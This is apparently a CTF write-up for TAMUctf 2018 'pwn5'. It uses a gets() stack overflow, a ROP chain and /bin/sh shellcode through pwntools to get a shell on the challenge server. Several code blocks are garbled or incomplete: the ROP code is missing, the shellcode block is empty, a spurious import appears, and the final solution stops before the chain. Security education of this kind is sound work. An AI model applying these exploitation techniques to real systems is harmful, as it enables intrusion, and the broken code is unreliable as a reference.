Rating:


nc pwn.ctf.tamu.edu 4325

Note: The output is not buffered properly but exploits should still work


*For the ending Python code used to solve this challenge, click [here](#solution).*

## Discovery
This challenge provides us the binary [pwn5](pwn5).

When running the binary, we can see it is an interactive program that prompts some user input.

console
$./pwn5 Welcome to the TAMU Text Adventure! You are about to begin your journey at Texas A&M as a student But first tell me a little bit about yourself What is your first name?: John What is your last name?: Doe What is your major?: F# Are you joining the Corps of Cadets?(y/n): n Welcome, John Doe, to Texas A&M! You wake up as your alarm clock goes off feeling well rested and ready for the day You decdide to get breakfast at Sbisa and enjoy some nice eggs and potatos You finish up your mediocre breakfast and head on out Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number) 1. Go to class. 2. Change your major. 3. Skip class and sleep 4. Study$


The program gets closed before I could enter a choice for what to do next which means that the newline from my 'joining the Corps' is probably getting consumed for an answer. Since the program is displaying back data with my first and last name, there's a chance for print format string exploitation, but, running again shows that it is not the case:

console
$echo -en "%X\n%X\n%X\nn\n" | ./pwn5 [cut] Welcome, %X %X, to Texas A&M! [cut]  That ruled out, let's check to see what each of the four options shows us: console$ for i in {1..4}; do echo -n "${i}: "; echo -en "John\nDoe\nF#\nn${i}" | ./pwn5 | tail -n 2; done
1: As the lecturer drones on about a topic that you don't quite understand in the field of F# you notice the cadet sitting up front nodding off

2: You decide that you are already tired of studying F# and go to the advisors office to change your major
What do you change your major to?: You changed your major to: F#
3: 4. Study
You decide that you are better at learning stuff on your own and will use the time gained not going to class to take a nap
4: You decide to get ahead in your classes and go to the library to study.
You get a cup of coffee and settle in to study. After a while some of the material in F# starts making sense to you


Option 2 for changing the major looks like it's going to take some input, so a potentially valid path for exploitation. We still have not yet checked to see if any of the initial input fields can be overflowed.

console
$python -c "print(('A'*1000 + '\n') * 3 + 'n\n')" | ./pwn5 [cut] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, to Texas A&M! [cut]  Looks like they are length-restricted. At this point, taking a look at the binary itself would be the most useful. ## Dissection Starting off with main, we can see that it immediately calls the function print_beginning without anything of importance being done before or after. c // C code generated by Hex-Rays decompiler. int __cdecl main(int argc, const char **argv, const char **envp) { print_beginning(); return 0; }  print_beginning contains significantly more useful information. c // C code generated by Hex-Rays decompiler. int print_beginning() { int result; // eax@6 char v1; // [esp+Fh] [ebp-9h]@1 puts("Welcome to the TAMU Text Adventure!"); puts("You are about to begin your journey at Texas A&M as a student"); puts("But first tell me a little bit about yourself"); printf("What is your first name?: "); fgets((int)&first_name, 100, (int *)stdin); strtok(&first_name, "\n"); printf("What is your last name?: "); fgets((int)&last_name, 100, (int *)stdin); strtok(&last_name, "\n"); printf("What is your major?: "); fgets((int)major, 20, (int *)stdin); strtok(major, "\n"); printf("Are you joining the Corps of Cadets?(y/n): "); v1 = getchar(); corps = v1 == 121 || v1 == 89; printf("\nWelcome, %s %s, to Texas A&M!\n"); if ( corps ) result = first_day_corps(); else result = first_day_normal(); return result; }  Here we can see that the use of fgets with an explicit size is what defeats our attempts at overflowing during the startup of the program. Since we chose to avoid the corps, we jump into first_day_normal. c // C code generated by Hex-Rays decompiler. int first_day_normal() { int result; // eax@1 puts("You wake up as your alarm clock goes off feeling well rested and ready for the day"); puts("You decdide to get breakfast at Sbisa and enjoy some nice eggs and potatos"); puts("You finish up your mediocre breakfast and head on out"); puts("Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number)"); puts("1. Go to class.\n2. Change your major.\n3. Skip class and sleep\n4. Study"); result = (char)getchar(); if ( result == 50 ) { printf("You decide that you are already tired of studying %s and go to the advisors office to change your major\n"); printf("What do you change your major to?: "); result = change_major(); } else if ( result > 50 ) { if ( result == 51 ) { result = puts( "You decide that you are better at learning stuff on your own and will use the time gained not going to " "class to take a nap"); } else if ( result == 52 ) { puts("You decide to get ahead in your classes and go to the library to study."); result = printf( "You get a cup of coffee and settle in to study. After a while some of the material in %s starts making sense to you\n"); } } else if ( result == 49 ) { puts("You go to class and decide to sit somewhere in the middle row"); printf( "As the lecturer drones on about a topic that you don't quite understand in the field of %s you notice the cadet si" "tting up front nodding off\n"); result = putchar(10); } return result; }  So it looks like change_major is the only function of interest that can be called from first_day_normal. c // C code generated by Hex-Rays decompiler. int change_major() { char dest; // [esp+Ch] [ebp-1Ch]@1 getchar(); gets(&dest); strncpy(&dest, major, 0x14u); return printf("You changed your major to: %s\n"); }  Perfect, here we see that we are provided a call to gets with the stack-based buffer dest. Assuming there are no stack canaries, this should be a relatively simple buffer overflow to land. Python In [1]: from pwn import * In [2]: elf = ELF('./pwn5') [*] '/home/user/ctf/2018/tamuctf/pwn/pwn5/pwn5' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)  No stack canaries and even better, no PIE, so we can base any ROP gadgets out of the binary itself without the need to leak any addresses. From the point of entering the change_major function, it consumes a character using getchar prior to calling gets. dest is located at 0x1c below the old stack pointer. To reach the old ebp will only take 0x1c (28) bytes. 4 additional bytes, now up to 0x20 (32), to overwrite the old ebp and reach the stored eip. So with 0x20 bytes of filler, the next 4 bytes should give us control of execution. console$ python -c 'print("John\nDoe\nF#\nn2\n" + "A"*0x20 + "\xff"*4)' | strace -ifv -e trace=signal ./pwn5 > /dev/null
strace: [ Process PID=21135 runs in 32 bit mode. ]
[ffffffff] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xffffffff} ---
[????????] +++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)


As we expected, we got a SIGSEGV with the program trying to execute at address 0xffffffff which are the 4 bytes we placed where we assumed eip was stored on the stack. From here, we can now begin developing our exploit.

NOTE: A good thing to take note of is the method of which we are obtaining our overflow, gets. gets will, according to the man page, read
> a line from stdin into the buffer pointed to...until either a terminating newline or EOF, which it replaces with a null byte ('\0').

Here we establish our character restriction as no newlines, 0x0a bytes, can be used prematurely or it will end our overflow and be replaced with a NUL byte. The upside is that with gets, we are not restricted from using a NUL byte ourselves.

## Exploit

Starting off with a typical pwntools exploit template.

python
from pwn import *
import first_day_corps

BINARY = './pwn5'
elf = ELF(BINARY)
context.binary = binary

if args['REMOTE']:
p = remote('pwn.ctf.tamu.edu', 4325)
else:
p = process(BINARY)


This template sets up the ELF binary for reference as well as either start a local process to test against or attempt to throw it remotely given the right arguments.

First, we'll set up our string to get us all the way up to the overflow.

python
to_eip = ''
to_eip += 'John\n' # First Name
to_eip += 'Doe\n' # Last Name
to_eip += 'F#\n' # Major (chord)
to_eip += 'n' # Join corps (y/n)
to_eip += '2\n' # Change Major
to_eip += 'A'*0x20 # Padding to reach eip using gets (080488AE / change_major+12)


The next 4 bytes will be where we redirect control flow to, so we should use some ROP to get us anywhere important.

python
constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC, \
constants.MAP_PRIVATE | constants.MAP_ANON, -1, 0)


First we define a pwnlib pwn.rop.rop.ROP class using the elf we already established and pass the optional badchars argument to let the object know to avoid any ROP that contains newlines. We then continue to set up our ROP using the conventional mmap(rand_addr) -> read(rand_addr) -> jmp rand_addr. An important thing to note however is that the use of fgets, getchar, and gets uses buffered I/O, meaning that some of our input may be sitting in an input buffer. Initial attempts used padding to meet the file buffer size worked locally, but had issues remotely. Rather than try and mess with buffer sizes, the easier solution was to continue using buffered I/O and thus the use of gets over read or any other function.

Now that our ROP is ready to go, we need to setup our shellcode that we are going to put in our mmaped address space.

python


And done.

Now to put it all together.

python
sploit = to_eip + rop.chain() + '\n' + asm(shellcraft.i386.sh()) + '\n'

p.send(sploit)
p.interactive()


Note the insertion of a newline between the ROP and shellcode so as to have the next gets read the entirety of shellcode (buffered or not) into our mmap. Also, we just so happened to be lucky enough that our shellcode did not contain any 0x0a bytes, so no encoder is necessary.

Testing it locally.

console
$python solution.py [*] '/home/user/ctf/2018/tamuctf/pwn/pwn5/pwn5' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Starting local process './pwn5': pid 22543 [*] Loaded cached gadgets for './pwn5' [*] Switching to interactive mode Welcome to the TAMU Text Adventure! You are about to begin your journey at Texas A&M as a student But first tell me a little bit about yourself What is your first name?: What is your last name?: What is your major?: Are you joining the Corps of Cadets?(y/n): Welcome, John Doe, to Texas A&M! You wake up as your alarm clock goes off feeling well rested and ready for the day You decdide to get breakfast at Sbisa and enjoy some nice eggs and potatos You finish up your mediocre breakfast and head on out Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number) 1. Go to class. 2. Change your major. 3. Skip class and sleep 4. Study You decide that you are already tired of studying F# and go to the advisors office to change your major What do you change your major to?: You changed your major to: F#$ ls
desc pwn5 pwn5.id1 pwn5.idb pwn5.til
flag pwn5.id0 pwn5.id2 pwn5.nam solution.py
$cat flag lol$
[*] Stopped process './pwn5' (pid 22543)


Looks like it works. Now for the real deal, testing it remotely.

console
$python solution.py REMOTE [*] '/home/user/ctf/2018/tamuctf/pwn/pwn5/pwn5' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to pwn.ctf.tamu.edu on port 4325: Done [*] Loaded cached gadgets for './pwn5' [*] Switching to interactive mode$ ls
flag.txt
pwn5
sh
$cat flag.txt gigem{r37urn_0f_7h3_pwn}$
[*] Closed connection to pwn.ctf.tamu.edu port 4325


With that, we have landed our exploit and gottten the flag, gigem{r37urn_0f_7h3_pwn}.

## Solution

python
#!/usr/bin/python

from pwn import *
import sys

BINARY = './pwn5'

elf = ELF(BINARY)
context.binary = BINARY

if args['REMOTE']:
p = remote('pwn.ctf.tamu.edu', 4325)
else:
p = process(BINARY)

to_eip = ''
to_eip += 'John\n' # First Name
to_eip += 'Doe\n' # Last Name
to_eip += 'F#\n' # Major (chord)
to_eip += 'n' # Join corps (y/n)
to_eip += '2\n' # Change Major
to_eip += 'A'*0x20 # Padding to reach eip using gets (080488AE / change_major+12)